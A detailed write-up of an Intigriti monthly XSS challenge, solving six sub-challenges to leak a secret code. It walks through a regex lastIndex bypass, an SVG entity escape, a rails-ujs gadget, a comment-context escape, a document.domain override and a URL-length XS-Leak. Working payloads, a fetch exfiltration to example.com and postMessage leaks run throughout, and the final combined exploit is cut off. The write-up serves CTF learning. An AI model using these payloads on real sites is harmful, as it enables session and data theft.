Every month, Intigriti hosts a hard Cross-Site Scripting challenge, made this month by @Renwa. This legendary author made a legendary challenge, one of the highest quality and most fun I've ever seen, hosted at challenge-1225.intigriti.io. It plays like a mini-CTF, where we solve 6 minimal yet interesting challenges before combining them into one great exploit.

This post goes into quite a lot of detail, so here's a quick Summary:

  1. Power Stone: Send large string to offset the .lastIndex, then XSS to leak performance entry
  2. Mind Stone: In <svg>, use &quot; to break out of the string and top.opener.postMessage(mindStone)
  3. Reality Stone: Use data-method gadget in rails-ujs by clicking <a> through SOME attack
  4. Space Stone: <?> turns into a comment to escape context, then quickly register postMessage listener to intercept the code
  5. Soul Stone: Open ?eval= URL into same-origin tab named "http" running Object.defineProperty() to set document.domain, then receive the code
  6. Time Stone: XS-Leak URL length after the redirect using large hash fragment triggering iframe onload=
  7. Final Exploit: Running only soul first to get XSS, then let delayed 2nd tab load and send everything to it. Recover reference through postMessage .source

Individual challenges

Looking at the HTML source of https://challenge-1225.intigriti.io/challenge, which I've annotated with a few comments, we can quite quickly understand the idea of this challenge:

<script nonce="950f937d9421">
if (location.hash === '#PerfectlyBalanced') {
  const code = encodeURIComponent('b5c721d2887bc9edb2c97260e53cf07b43f18f6f185f61d5'); // Random every time!

  const urlParams = new URLSearchParams(window.location.search);

  // Power Stone
  const iframe = document.createElement('iframe');
  iframe.sandbox = 'allow-scripts';
  iframe.src = 'https://power.challenge-1225.intigriti.io/?power_stone=' + (code.substring(0, 8));
  iframe.width = '100%';
  iframe.height = '300px';
  iframe.style.border = 'none';
  document.body.appendChild(iframe);

  // Reality Stone
  const iframe3 = document.createElement('iframe');
  let iframeSrc3 = 'https://reality.challenge-1225.intigriti.io/?reality_stone=' + (code.substring(16, 24));
  if (urlParams.has('reality')) {
    iframeSrc3 += '&user=' + (urlParams.get('reality').replaceAll('&', '')) + '&action=' + (urlParams.get('action').replaceAll('&', ''));
  }
  ...  // 6 iframes with code parts created in total

  setTimeout(() => {
    // After 3 seconds, the DOM is deleted
    document.body.innerHTML = '<img src="/bye.jpeg">';
  }, 3000);

  const messageListener = (event) => {
    // Checking code and evaluating the rest of the message, this is our final goal
    if (typeof event.data === 'string' && event.data.substring(0, 48) === code) {
      eval(event.data.substring(48));
    }
  };
  window.addEventListener('message', messageListener);
}

A code is randomly generated every time we load the page. Parts of this code are extracted with .substring() and embedded in 6 different iframes. At the end, a "message" event listener is registered. When it receives the correct code, it evaluates the rest of the message as JavaScript, leading to XSS.
So, if we can leak all 6 parts of the code (the "infinity stones") and combine them, we can send a postMessage() to the /challenge page to run alert(origin) on the main domain.

The fun part is that these 6 iframes are essentially all different small CTF challenges. We first solve them all individually before making a final exploit that combines them to recover the entire code (spoiler: this will be hard 😅).

1. Power Stone

The main page provides us with a downloadable source.zip that will tell us how the backend works, but for this first one, it doesn't really matter. The HTML source code is as follows:

<img src="/power.jpeg" width="100%" height="100%">
<pre>Power Stone</pre>
<script>
  history.pushState(1, 1, 1);  // Navigates away to /1
  let safe = /<|>|\s/g;  // Regex matching <, > or whitespace
  // Listen for postMessages
  window.addEventListener('message', (event) => {
    if (!(safe.exec(event.data))) {
      // If message isn't blocked by regex, render as HTML
      document.body.innerHTML = event.data;
    } else {
      document.body.innerHTML = 'not safe';
    }
  });
</script>

A very minimal challenge, as you can see. Remember, this page is loaded by the main /challenge using the following code and is hosted on https://power.challenge-1225.intigriti.io.

const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts';
iframe.src = 'https://power.challenge-1225.intigriti.io/?power_stone=' + (code.substring(0, 8));
iframe.width = '100%';
iframe.height = '300px';
iframe.style.border = 'none';
document.body.appendChild(iframe);

Our goal is to leak the ?power_stone= query parameter since it contains the first part of the code. postMessage() is really the only way we can interact with the iframe. The .innerHTML sink is definitely our target, but the /<|>|\s/g regular expression blocks us from writing any malicious HTML.

Luckily, I quickly recognized the pitfall this challenge was about. If we take a look at the documentation for global regexes (/g) in JavaScript, we read the following quote:

MDN: RegExp.prototype.global has the value true if the g flag was used; otherwise, false. The g flag indicates that the regular expression should be tested against all possible matches in a string. Each call to exec() will update its lastIndex property, so that the next call to exec() will start at the next character.

A little-known fact is that if you reuse global regexes, each test will remember the position from the last call in a property named .lastIndex. If the string has two matches, for example, the first call matches the first occurrence, while the second call matches the second occurrence. When it no longer matches, it resets back to 0.

const re = /A/g;
re.test("1st A 2nd A") // true  (starting at 0,  lastIndex=5)
re.test("1st A 2nd A") // true  (starting at 5,  lastIndex=11)
re.test("1st A 2nd A") // false (starting at 11, lastIndex=0)
re.test("1st A 2nd A") // true  (starting at 0,  lastIndex=5)

When the string passed in is different, the lastIndex is still remembered. This means we can pad it with a bunch of characters before finally finding a match, setting it to a higher value such as 5. Then, in the next call, it will only start searching from position 5, and miss the 4 characters that we inject at the start:

const re = /A/g;
re.test("....A") // true  (starting at 0, lastIndex=5)
re.test("AAAA")  // false (starting at 5, lastIndex=0)

This is exactly what we are going to do to bypass this check. We must first send a padding string with a disallowed < at the end. Then we have free room to send whatever payload we want, because the regex match only starts way past it.

w = window.open("https://challenge-1225.intigriti.io/challenge#PerfectlyBalanced")
// Get a reference to the power iframe using indexing on window reference (1st frame)
w[0].postMessage("AAAAAAAAAAAAAAAAAAAAAAAAAA<", "*")
w[0].postMessage("<img src onerror=debugger>",  "*")

If we time it right, this works. However, since all content is removed after 3 seconds, we don't have much time to debug. To disable this feature, I simply set a hacky conditional breakpoint somewhere at the start of the JavaScript code to make setTimeout() useless and ,0 to return false and never actually break here:

window.setTimeout=() => {},0

Set a conditional breakpoint on line 30 of /challenge
Set a conditional breakpoint on line 30 of /challenge

After this small patch, we can take all the time in the world to admire our first XSS:

Breakpoint triggered in DevTools with location.href in Console
Breakpoint triggered in DevTools with location.href in Console

The debugger instruction executes, automatically triggering a breakpoint. If we now inspect location.href to retrieve our first part of the code, however, it appears to be empty! The URL has been overwritten by history.pushState(). How do we recover it?

One resource we can look to is navigation.entries(), which should keep a history of all URLs that this document went through. However, its value [] shows that this, too, is empty.
The solution lies in another collection named performance.getEntries(), which records various random events that occur within the document, including page loads. After clicking around a bit, we find that the first entry's .name contains the original URL with the code!

DevTools Console showing first performence entry name contains code
DevTools Console showing first performence entry name contains code

So, a payload like this should leak its value back to us through the top (/challenge page) and opener (attacker page) reference:

top.opener.postMessage(performance.getEntries()[0].name.split('=')[1], "*")

Which we then simply receive and store to combine later.

const leaks = Array(6).fill();

window.addEventListener("message", (e) => {
  console.log("Leaked", e.data);
  leaks[0] = e.data;
});

2. Mind Stone

On to the next! I'll start by saying this was the last challenge I actually completed while going through all 6, because the nice part of Renwa's challenge is that you can choose to skip hard ones where you're stuck for the time being. This was also the coolest one in my opinion, so strap in!

This iframe is loaded with some user input for a change, through the query= parameter (we provide ?mind=):

const iframe2 = document.createElement('iframe');
let iframeSrc = 'https://mind.challenge-1225.intigriti.io/?mind_stone=' + (code.substring(8, 16));

if (urlParams.has('mind')) {
    iframeSrc += '&query=' + (urlParams.get('mind').replaceAll('&', ''));
}
iframe2.sandbox = 'allow-scripts';
iframe2.src = iframeSrc;
iframe2.width = '100%';
iframe2.height = '300px';
iframe2.style.border = 'none';
document.body.appendChild(iframe2);

The handler has some server-side logic this time, so let's have a look at it:

app.get('/', (req, res) => {
  const nonce = Math.random().toString(36).substring(2, 14);
  res.setHeader('Content-Security-Policy', `default-src 'none'; img-src 'self'; base-uri 'none'; script-src 'nonce-${nonce}'`);
  ...
  let query = req.query.query || 'Hello World!';
  if (typeof query !== 'string' || query.length > 60) {
      return res.send('');
  }
  query = query.replace(/=/g, "");
  query = query.replace(/"/g, "");
  query = query.replace(/<script/gi, "<nope>");

  let mind_stone_data = '';
  if (typeof req.query.mind_stone === 'string' && req.query.mind_stone.length <= 8) {
      mind_stone_data = `const mindStone = "${encodeURIComponent(req.query.mind_stone)}";\n`;
  }
  const output = `<!DOCTYPE html>
<html>
<img src="/mind.jpeg" width="100%" height="100%">
${query}
<!-- comment -->
<script nonce="${nonce}">${mind_stone_data}
console.log("${query}");
</script>`;
  res.send(output);
});

We can play with the endpoint a bit to gain a better understanding. We will inject some special characters with <>'"j0r1an to see what's escaped and placed where:

https://mind.challenge-1225.intigriti.io/?mind_stone=LEAKME&query=%3C%3E%27%22j0r1an

<img src="/mind.jpeg" width="100%" height="100%">
<>'j0r1an
<!-- comment -->
<script nonce="3tl54tfkr68">const mindStone = "LEAKME";

console.log("<>'j0r1an");
</script>

We appear to have HTML injection immediately after the image, as well as another injection inside the nonce-protected script tag. We can't escape from the JavaScript string context because " double quotes are removed. We can't abuse our global regex trick from the power stone here, so we'll have to somehow get XSS with these restricted characters.

The = equals sign is also removed, disallowing any attributes in our HTML injection. <script made me think of dangling a comment tag and abusing nested script tag parsing, but this doesn't lead anywhere either.

We likely need to use the first injection to dangle something that affects the parsing of the <script nonce=...> tag afterward, allowing us to abuse our 2nd injection inside of JavaScript, which isn't able to escape the quote right now. A script tag with a nonce is really the only way to execute JavaScript with this Content Security Policy set to script-src 'nonce-3tl54tfkr68'.
One idea I had was to inject my own attributes into the trusted script tag, but this approach didn't work for 2 different reasons.

Content-Security-Policy: script-src 'nonce-3tl54tfkr68'

<script src="//attacker.com" <script nonce="3tl54tfkr68">
	console.log("</script>")
</script>
  1. The <!-- comment -->'s closing > will always close our dangled tag early, so we cannot merge it with the nonce
  2. The above example doesn't even work, because the browser seems to have a built-in protection against <script being inside the attributes. In such a case, the nonce= will not be trusted, throwing a CSP error. Try changing the 2nd <script in the above example to <wtf to see the difference!

Back to the real solution, we can use some inspiration from the PortSwigger XSS Cheat Sheet, which presents a vector where <script> tags support HTML-encoding:

<svg><script>&#97;lert(1)</script></svg>

Since script tags still work in SVG, we can use our HTML injection to dangle an <svg> tag and then, without a double quote, use &#34; to encode it instead and escape from the string. With a payload like &#34;test<svg> the source code looks like this:

<img src="/mind.jpeg" width="100%" height="100%">
&#34;test<svg>
<!-- comment -->
<script nonce="3tl54tfkr68">const mindStone = "LEAKME";

console.log("&#34;test<svg>");
</script>

But parsed, it's clear now we successfully escaped the "!

DevTools Elements tab showing parsed DOM with broken quote
DevTools Elements tab showing parsed DOM with broken quote

There's a bit of weird behavior where the tag isn't actually attempted to be executed (no SyntaxError in the console) because another <svg> tag is now inside the script; that's just how XML is parsed. But we can resolve this by closing the script tag early and then writing a correct finishing JavaScript syntax.

Our final payload will become: &#34;)-alert(mindStone)</script><svg>
Which is parsed by the browser as seen in the screenshot below, and pops an alert!

Parsed HTML with successful injection showing mindStone value in alert
Parsed HTML with successful injection showing mindStone value in alert

We can inject this on the /challenge page using the ?mind= parameter, but look, there is a maximum of 60 characters allowed for us to exfiltrate mindStone:

if (typeof query !== 'string' || query.length > 60) {
    return res.send('');
}

A simple way to do this is to just postMessage() it to top.opener again, which we can receive. This is barely short enough, summing up to 58 characters:

&#34;)-top.opener.postMessage(mindStone,'*')</script><svg>

3. Reality Stone

Here comes another fun one. The reality stone contains another code in the query parameter and the reality & action parameters, which are passed into the iframe as our user input.

const iframe3 = document.createElement('iframe');
let iframeSrc3 = 'https://reality.challenge-1225.intigriti.io/?reality_stone=' + (code.substring(16, 24));

if (urlParams.has('reality')) {
    iframeSrc3 += '&user=' + (urlParams.get('reality').replaceAll('&', '')) + '&action=' + (urlParams.get('action').replaceAll('&', ''));
}
iframe3.sandbox = 'allow-scripts';
iframe3.src = iframeSrc3;
iframe3.width = '100%';
iframe3.height = '300px';
iframe3.style.border = 'none';
document.body.appendChild(iframe3);

The server-side sanitizes our user input with a strict DOMPurify pass, removing any kind of JavaScript. We are also given input into a JSONP callback parameter, which is called:

app.get('/', (req, res) => {
  const user = req.query.user || 'guest';
  const action = req.query.action ? /^[a-zA-Z\\.]+$/.test(req.query.action) ? req.query.action : 'console.log' : 'console.log'

  const clean = DOMPurify.sanitize(user, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'span', 'div', 'h1', 'h2', 'h3', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: []
  }, {
    FORBID_ATTR: ['id', 'style', 'href', 'class', 'data-*', 'srcdoc', 'form', 'formaction', 'formmethod', 'referrerpolicy', 'target', 'rel', 'manifest', 'poster', 'ping', 'download']
  }, {
  });
  ...
  res.send(`...
    <script>
      history.replaceState(null, null, '/');
    </script>
    <textarea>${reality_stone_data}</textarea>
    <h1>Welcome ${clean}</h1>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-ujs/1.2.3/rails.min.js"></script>
    <script src="/callback?jsonp=${action}"></script>
  `)
})

app.get('/callback', (req, res) => {
  ...
  const jsonp = req.query.jsonp || 'console.log';
  res.send(`${jsonp}("website is ready")`)
})

If we visit a URL like ?reality_stone=LEAKME&user=<a href=x onclick=alert()>test&action=alert, we see all attributes are stripped from our HTML, but our alert function is called with the static string "website is ready".

<script>
  history.replaceState(null, null, '/');
</script>
<textarea>LEAKME</textarea>
<h1>Welcome <a>test</a></h1>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-ujs/1.2.3/rails.min.js"></script>
<script src="/callback?jsonp=alert"></script>
alert("website is ready")

The jQuery and rails-ujs scripts it loads seem suspicious; it is common for widely used scripts to contain "gadgets" that perform actions based on the DOM where our HTML injection lives. Sometimes specific attributes are read, and their values are used unsafely, but we don't seem to have the luxury of attributes.

We can look for previous research into these libraries to see if they have anything for us on GMSGadget, where we quickly find interesting exploits:

<a data-remote="true" data-method="get" data-type="script" href="https://gmsgadget.com/assets/xss/index.js">XSS</a>
<!-- or -->
<a data-method="'><img src=x onerror=alert(1)>'" href="https://gmsgadget.com/assets/xss/index.js">XSS</a>

These all use data-* or href attributes. If we just try inserting the payload, we can see what we actually do have access to data-* attributes!

<h1>Welcome 
<a data-remote="true" data-method="get" data-type="script">XSS</a>
<a data-method="'><img src=x onerror=alert(1)>'">XSS</a>
</h1>

Now let's take a closer look at how these exploits are actually supposed to work. Inside rails.min.js, we find the following code:

var t = s(document);
s.rails = u = {
  ...
  linkClickSelector: "a[data-confirm], a[data-method], a[data-remote]:not([disabled]), a[data-disable-with], a[data-disable]",
  handleMethod: function(t) {
    var e = u.href(t)
      , a = t.data("method")
      , n = t.attr("target")
      , o = u.csrfToken()
      , r = u.csrfParam()
      , t = s('<form method="post" action="' + e + '"></form>')
      , a = '<input name="_method" value="' + a + '" type="hidden" />';
    r === l || o === l || u.isCrossDomain(e) || (a += '<input name="' + r + '" value="' + o + '" type="hidden" />'),
    n && t.attr("target", n),
    t.hide().append(a).appendTo("body"),
    t.submit()
},
...
t.on("click.rails", u.linkClickSelector, function(t) {
  var e = s(this)
  , a = e.data("method")
  , n = e.data("params")
  , o = t.metaKey || t.ctrlKey;
  if (!u.allowAction(e))
    return u.stopEverything(t);
  if (!o && e.is(u.linkDisableSelector) && u.disableElement(e),
  u.isRemote(e)) {
    if (o && (!a || "GET" === a) && !n)
      return !0;
    n = u.handleRemote(e);
    return !1 === n ? u.enableElement(e) : n.fail(function() {
      u.enableElement(e)
    }),
    !1
  }
  return a ? (u.handleMethod(e),
  !1) : void 0
}),

t.data("method") refers to the data-method= attribute we set, which is then inserted straight into:

<input name="_method" value="' + a + '" type="hidden" />

This code triggers on click of any link as seen by the u.linkClickSelector. The href= that we are missing doesn't even seem necessary. One difference from the payload on GMSGadget is that the value="..." attribute we inject into uses double quotes rather than single quotes. So our payload should look like this:

<a data-method='"><img src onerror=alert(origin)>'>XSS</a>

Visiting this page and clicking the "XSS" text manually, our alert actually triggers! However, we'll have to automate this exploit for the future, where we need to combine everything into a single click. We haven't used the /callback endpoint yet, though, so how can it help us?

There's an awesome technique called Same-Origin Method Execution (SOME) that uses restricted JSONP function calls (like our [a-zA-Z\\.]+) to traverse the DOM and click some element by calling its .click() method. Here is our DOM:

<html>
  <head>
  <meta charset="UTF-8">
  <title>Reality Stone</title>
</head>
<body>
  <img src="/reality.jpeg" width="100%" height="100%">
  <script>history.replaceState(null, null, '/');</script>
  <textarea>LEAKME</textarea>
  <h1>
    Welcome
    <a data-method="&quot;&gt;&lt;img src onerror=alert(origin)&gt;">XSS</a>
  </h1>
  <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-ujs/1.2.3/rails.min.js"></script>
  <script src="/callback?jsonp=console.log"></script>
</body></html>

In JavaScript, we can start off with document.body to reference the <body> tag. Then take its first child (<img>) with .firstElementChild. Getting the 2nd child instead is trickier, but still possible through a little-known property called .nextElementSibling. It essentially looks at the next child of the parent of this element. By chaining these, we can eventually get to our injected <a> tag like this:

document.body.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild

We append .click at the end, and JSONP will call it for us. This triggers the XSS without any user interaction, with which we can leak the reality_stone parameter in the <textarea>:

https://reality.challenge-1225.intigriti.io/?reality_stone=LEAKME&user=%3Ca+data-method%3D%27%22%3E%3Cimg+src+onerror%3Dalert%28document.querySelector%28%22textarea%22%29.innerHTML%29%3E%27%3EXSS%3C%2Fa%3E&action=document.body.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click

4. Space Stone

The fourth challenge is similar to the rest; we have user input again through the ?debug= query parameter. However, right after the iframe loads, the challenge page sends it a postMessage with the part of the code we need to leak.

const iframe4 = document.createElement('iframe');
let iframeSrc4 = 'https://space.challenge-1225.intigriti.io/';

if (urlParams.has('space')) {
    iframeSrc4 += '?debug=' + (urlParams.get('space').replaceAll('&', ''));
}
iframe4.sandbox = 'allow-scripts';
iframe4.src = iframeSrc4;
iframe4.width = '100%';
iframe4.height = '300px';
iframe4.style.border = 'none';
iframe4.onload = () => {
    iframe4.contentWindow.postMessage(code.substring(24, 32), '*');
};
document.body.appendChild(iframe4);

The space challenge handles this message by placing it on the page:

<script>
  const handleMessage = (event) => {
    if (typeof event.data === 'string' && event.data.length === 8) {
      const spaceDiv = document.getElementById('space');
      if (spaceDiv) {
        const shadowRoot = spaceDiv.attachShadow({ mode: 'closed' });
        shadowRoot.innerHTML = `<p>${event.data}</p>`;
      }
      window.removeEventListener('message', handleMessage);
    }
  };
  window.addEventListener('message', handleMessage);

  document.body.innerHTML += [...Array(20)].map(() => [...Array(8)].map(() => Math.floor(Math.random() * 16).toString(16)).join('')).join(' ');

  var input = (new URL(location).searchParams.get('debug') || '').replace(/[!-/#&;%]/g, '_');
  var template = document.createElement('template');
  template.innerHTML = input;
  pwn.innerHTML = "<!-- <p> <textarea>: " + template.innerHTML + " </p> -->";
</script>

The most important for now are the last 4 lines. Any characters in the set [!-/#&;%] are removed, but still leaves some special characters, being: :<=>?@[\]^_`{|}~. The input is written into a <template> tag using .innerHTML and is then read back to be put into an HTML comment. If we just write an HTML comment ourselves, that should close the pwn.innerHTML context, but oh right, we aren't allowed to use ! or - characters.

In HTML parsing, there are quite a few "invalid" cases where it falls back to creating a comment out of your input. My mind quickly went to this tweet where </1> turns into <!--2-->, but still, we're not allowed to use / and this only works for closing tags.

Then I remembered this challenge by @PwnFunction which it is obviously heavily inspired by:

var input = (new URL(location).searchParams.get('debug') || '').replace(/[\!\-\/\#\&\;\%]/g, '_');
var template = document.createElement('template');
template.innerHTML = input;
pwnme.innerHTML = "<!-- <p> DEBUG: " + template.outerHTML + " </p> -->";

Okay, so what was its solution? We can start with an invalid tag name character, which will turn it into a comment:

<?><img src onerror=alert(1337)>

The closing --> part of it will then close the context we are in, so we can start a new malicious tag with an event handler to achieve XSS:

<!-- <p> <textarea>: <!--?--><img src onerror="alert_1337_"></svg> </p> -->

But wait, our alert(1337) got turned into alert_1337_, so nothing happens. We need to execute arbitrary JavaScript without parentheses or other blocked special characters. Luckily, I know just the repo for that 😉: github.com/RenwaX23/XSS-Payloads/Without-Parentheses.md

The easiest payload to use would be calling setTimeout() with Tagged Template syntax (``), allowing for hex escapes.

setTimeout`alert\x2823\x29`

XSS popup on space challenge
XSS popup on space challenge

By encoding any special characters we need with \x escapes, we can run anything we want. Our goal is to leak the part of the code sent via postMessage into the Shadow Root, where we now have XSS. However, we cannot simply read it after it is placed there because the Shadow Root is closed.

Note: I went a different route, but there are actually many interesting ways to leak data inside a closed Shadow Root! Check out the issues for LavaDome.

If we carefully consider where we can find the data we want to leak, it's also sent in the postMessage data to the page where we have XSS. If we're able to register our own onmessage listener, we may be able to intercept it before it is hidden in the Shadow DOM by the other handler.
onload is fired when all resources have finished loading, including inline <script> tags and an <img> we insert with an onerror= attribute. This means with our ?debug= parameter, we are actually just in time to be able to register an event listener:

onmessage = (e) => {
  // Exfiltrate to attacker's tab
  top.opener.postMessage(e.data,'*')
}

Our full exploit for the space stone will look something like this:

function hexEscape(s) {
  return s
    .split("")
    .map((c) => `\\x${c.charCodeAt(0).toString(16).padStart(2, "0")}`)
    .join("");
}
const payload = `onmessage = (e) => {
  top.opener.postMessage(e.data,'*')
}`
const search = new URLSearchParams({
  space: `<\?><img src onerror=setTimeout\`${hexEscape(payload)}\`>`
})
w = window.open(`https://challenge-1225.intigriti.io/challenge?${search}#PerfectlyBalanced`)

window.addEventListener("message", (e) => {
  alert(e.data)
});

5. Soul Stone

We will spend a lot of time with the soul stone later when we combine our exploits, so I'll keep it brief here. We get an iframe on the /challenge page with no sandbox for once, and again a query parameter ?url= which we can pass:

const iframe5 = document.createElement('iframe');
let iframeSrc5 = 'https://soul.challenge-1225.intigriti.io/?soul_stone=' + (code.substring(32, 40));
if (urlParams.has('soul')) {
    iframeSrc5 += '&url=' + (urlParams.get('soul').replaceAll('&', ''));
}
iframe5.src = iframeSrc5;
iframe5.width = '100%';
iframe5.height = '300px';
iframe5.style.border = 'none';
document.body.appendChild(iframe5);

The backend has some rules on when it sends a response:

app.get('/', (req, res) => {
  ...
  if (req.headers['sec-fetch-dest'] !== 'iframe') {
      res.setHeader('Content-Security-Policy', "sandbox allow-scripts allow-same-origin");
  }
  if (req.headers.referer !== 'https://soul.challenge-1225.intigriti.io/' && req.headers.referer !== 'https://challenge-1225.intigriti.io/') {
      res.send('');
      return;
  }

If the Sec-Fetch-Dest: header tells the server it isn't rendered in an iframe, a pretty permissive sandbox is applied. We can't just send it requests, though, because the Referer: must be from the challenge site.
Only then will the following page be sent:

<script>
  opener = null;
  const soulStone = "LEAKME";
  const urlParams = new URLSearchParams(window.location.search);
  let url = urlParams.get('url');
  document.referrer = '';
  history.replaceState(null, null, '/');
  var win = '';

  if (url && (url.startsWith('https://') || url.startsWith('http://'))) {
    url = url.replaceAll('&', '').replaceAll('%26', '%23');
    win = window.open(url, url.slice(0, 4));

    setTimeout(() => {
      if (win.document.domain === 'google.com') {
        console.log('safe: google.com');
        win.postMessage('Soul: ' + soulStone, '*');
      }
    }, 1000);
  };

  const evalParam = urlParams.get('eval');
  if (evalParam && self == top && this == parent) {
    eval(evalParam);
  }
</script>

Our url parameter must be a regular HTTP URL, and is then window.open()'ed, keeping a reference in win.

Then, after a second, the soulStone variable containing the part of the code is just sent to it! But only if the document.domain property on it is 'google.com'. This makes it difficult because document.domain is not normally a cross-origin property you can read, so it should always error. No same-origin page will have an origin of google.com...

There is another case where the ?eval= parameter is set. It's not possible from the main /challenge page because the parameter is not passed into the iframe's URL, and we also can't open a new tab with it ourselves due to the Referer check. But what we can do is open it through the window.open() input we just found. This will even be a same-origin page, we just have to use the eval() to set document.domain === 'google.com' and we should receive our code.

const search = new URLSearchParams({
    soul: `https://soul.challenge-1225.intigriti.io?eval=debugger`
});
window.open(`https://challenge-1225.intigriti.io/challenge?${search}#PerfectlyBalanced`)

The first time we try this, we are hit with an error that popups without user activation are not allowed. We will get back to resolving this problem cleanly later, but for now, we'll cheat and disable this protection by choosing "Always allow pop-ups":

Popup blocked from /challenge, radio button to allow
Popup blocked from /challenge, radio button to allow

Now, when we try again, the 2nd popup to soul.challenge-1225.intigriti.io opens, and if we set the context of the DevTools console on the 1st tab to soul, we can test what win.document.domain contains right now:

DevTools Console in context of soul iframe showing wrong document.domain
DevTools Console in context of soul iframe showing wrong document.domain

That won't pass the check, it needs to return 'google.com'. But if we try to set this property through document.domain = 'google.com', we get an error:

Uncaught SecurityError: Failed to set the domain property on Document: Assignment is forbidden for sandboxed iframes.

This stems from the history of document.domain, where it used to be used to make two same-site pages same-origin, meaning they could access each other's DOM and effectively bypass the Same-Origin Policy. While interesting, this is not what this challenge is about; we only care about the return value of document.domain to bypass the postMessage check.

So, we will avoid the setter, and instead overwrite the property with Object.defineProperty() instead:

Object.defineProperty(document, "domain", {
  value: 'google.com',
  writable: false,
});

Now, when we check win.document.domain, it will return 'google.com'! All that's left is wait for that postMessage and exfiltrate it.

const eval = `
Object.defineProperty(document, "domain", {
  value: 'google.com',
  writable: false,
});
onmessage = (e) => {
  fetch('https://example.com?leak='+e.data)
}
`;
const search = new URLSearchParams({
    soul: encodeURIComponent(`https://soul.challenge-1225.intigriti.io?` + new URLSearchParams({ eval }))
});
window.open(`https://challenge-1225.intigriti.io/challenge?${search}#PerfectlyBalanced`)

This makes an automated request to https://example.com/?code=Soul:%20b694f458, perfect. Time for the last challenge.

6. Time Stone

This last one is a little different from the rest, in that XSS isn't directly our goal. We get more server-side source code:

app.get('/', (req, res) => {
  if (req.query.time_stone) {
    res.cookie('time_stone', req.query.time_stone, { sameSite: 'None', secure: true, httpOnly: true });
  }
  ...
}
app.get('/search', (req, res) => {
  const q = req.query.q;
  const timeStoneCookie = req.cookies && req.cookies.time_stone;

  if (typeof q === 'string' && q.length <= 8 && timeStoneCookie && timeStoneCookie.startsWith(q)) {
    res.redirect('/time/stone/search/yes');
  } else {
    res.redirect('/time/stone/search/nope');
  }
});
app.get('/time/stone/search/yes', (req, res) => {
  res.send(`yes`);
});
app.get('/time/stone/search/nope', (req, res) => {
  res.send(`nope`);
});

The time_stone is saved as a cookie with SameSite=None, allowing it to be sent in third-party contexts (such as our attacker's site). The /search endpoint is especially interesting, as with the q query parameter, we can ask if the code starts with a specific character. It either redirects to /yes or /nope. This is a classic XS-Leak setup.

Reading through the XS-Leak wiki, you may come across Navigations because, in our case, the difference between a failed and successful query is the URL that is navigated to. The section Inflation (Client-Side Errors) explains a technique involving the Max URL length, whereby using a large # hash fragment that is automatically kept across server-side redirects, you can barely overflow this maximum if we hit the longer URL between the two options.

/nope is longer than /yes, so if we make a hash that is so long that /yes will barely be rendered, while /nope errors out, we can detect the difference in <iframe>s. After some trial and error, we can find that adding a hash exactly 2.097.089 characters in length will trigger onload= for a yes answer, and do nothing (redirect to about:blank#blocked) for a no answer.

function test(prefix) {
  const iframe = document.createElement("iframe");
  iframe.style.display = "none";
  const hash = "A".repeat(2_097_089);  // 2**21-1 - len("https://time.challenge-1225.intigriti.io/time/stone/search/yes")
  iframe.src = "https://time.challenge-1225.intigriti.io/search?" + new URLSearchParams({
    q: prefix,
  }) + "#" + hash;
  iframe.onload = () => {
    console.log(prefix)  // Only /yes is short enough to load and trigger this
  };
  document.body.appendChild(iframe);
}

// time_stone = "a8c7b4d1"
test("a")
test("b")
// a

In the above example, only a was logged. By going through all possible first characters, only one will redirect to a short enough URL (/yes) to trigger its onload=, telling us the first character of the code. After this, we simply continue guessing all possible second characters with the first already known, and repeat this process until we have the full string.

Below is an implementation that uses Promises to cleanly return a value when any of the possible iframes load, and also clean them up. We do this 8 times. Due to all the heavy iframes/URLs, this script is quite slow and takes a toll on the browser, so we will run this exploit last.

const ALPHABET = "0123456789abcdef";

function test(prefix, resolve) {
  const iframe = document.createElement("iframe");
  iframe.style.display = "none";
  const hash = "A".repeat(2_097_089);  // 2**21 - len("https://time.challenge-1225.intigriti.io/time/stone/search/yes#")
  iframe.src = "https://time.challenge-1225.intigriti.io/search?" + new URLSearchParams({
    q: prefix,
  }) + "#" + hash;
  iframe.onload = () => {
    resolve(prefix)  // Only /yes is short enough to load and trigger this
  };
  document.body.appendChild(iframe);
  return iframe;
}

function findChar(prefix) {
  const iframes = [];
  return new Promise((resolve) => {
    for (const c of ALPHABET) {
      iframes.push(test(prefix + c, resolve))
    }
  }).then(r => {
    iframes.forEach(e => e.remove());  // No longer needed
    return r;
  })
}

(async () => {
  let code = "";
  console.time("leak")
  for (let i = 0; i < 8; i++) {
    code = await findChar(code)
    console.log(code);
  }
  console.timeEnd("leak")
})()

In the Console, the code is slowly leaked, still well within the 60-second time limit.

a
a8
a8c
a8c7
a8c7b
a8c7b4
a8c7b4d
a8c7b4d1
leak: 17083.326904296875 ms

Combining exploits

Now that we've solved all 6 individual challenges to leak their respective parts of the code, it is time to combine them. Most of them work similarly, only needing a specific URL or postMessage through a window reference that we can reuse. We will try to send all exfiltrated codes through postMessage to our attacker's page, and to differentiate them, because everything happens at the same time, we can add a simple i property representing which part of the code it is.

We will start with these first 4:

function sleep(ms) {
  return new Promise((r) => setTimeout(r, ms));
}
function hexEscape(s) {
  return s
    .split("")
    .map((c) => `\\x${c.charCodeAt(0).toString(16).padStart(2, "0")}`)
    .join("");
}

const spacePayload = `window.addEventListener("message",e=>{top.opener.postMessage({i:3,leak:e.data},'*')})`;
const search = new URLSearchParams({
  // 2. Mind Stone
  mind: encodeURIComponent(`")-top.opener.postMessage(mindStone,'*')<\/script><svg>`.replaceAll('"', "&#34;")),
  // 3. Reality Stone
  reality: `<a data-method='"><img src=x onerror=top.opener.postMessage({i:2,leak:document.body.querySelector("textarea").innerHTML},"*")>'>XSS</a>`,
  action: "document.body.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click",
  // 4. Space Stone
  space: `<??><img src onerror=setTimeout\`${hexEscape(spacePayload)}\`>`
});

// Receive leaks from all challenges
const leaks = Array(6).fill();
onmessage = (e) => {
  console.log(e.data);
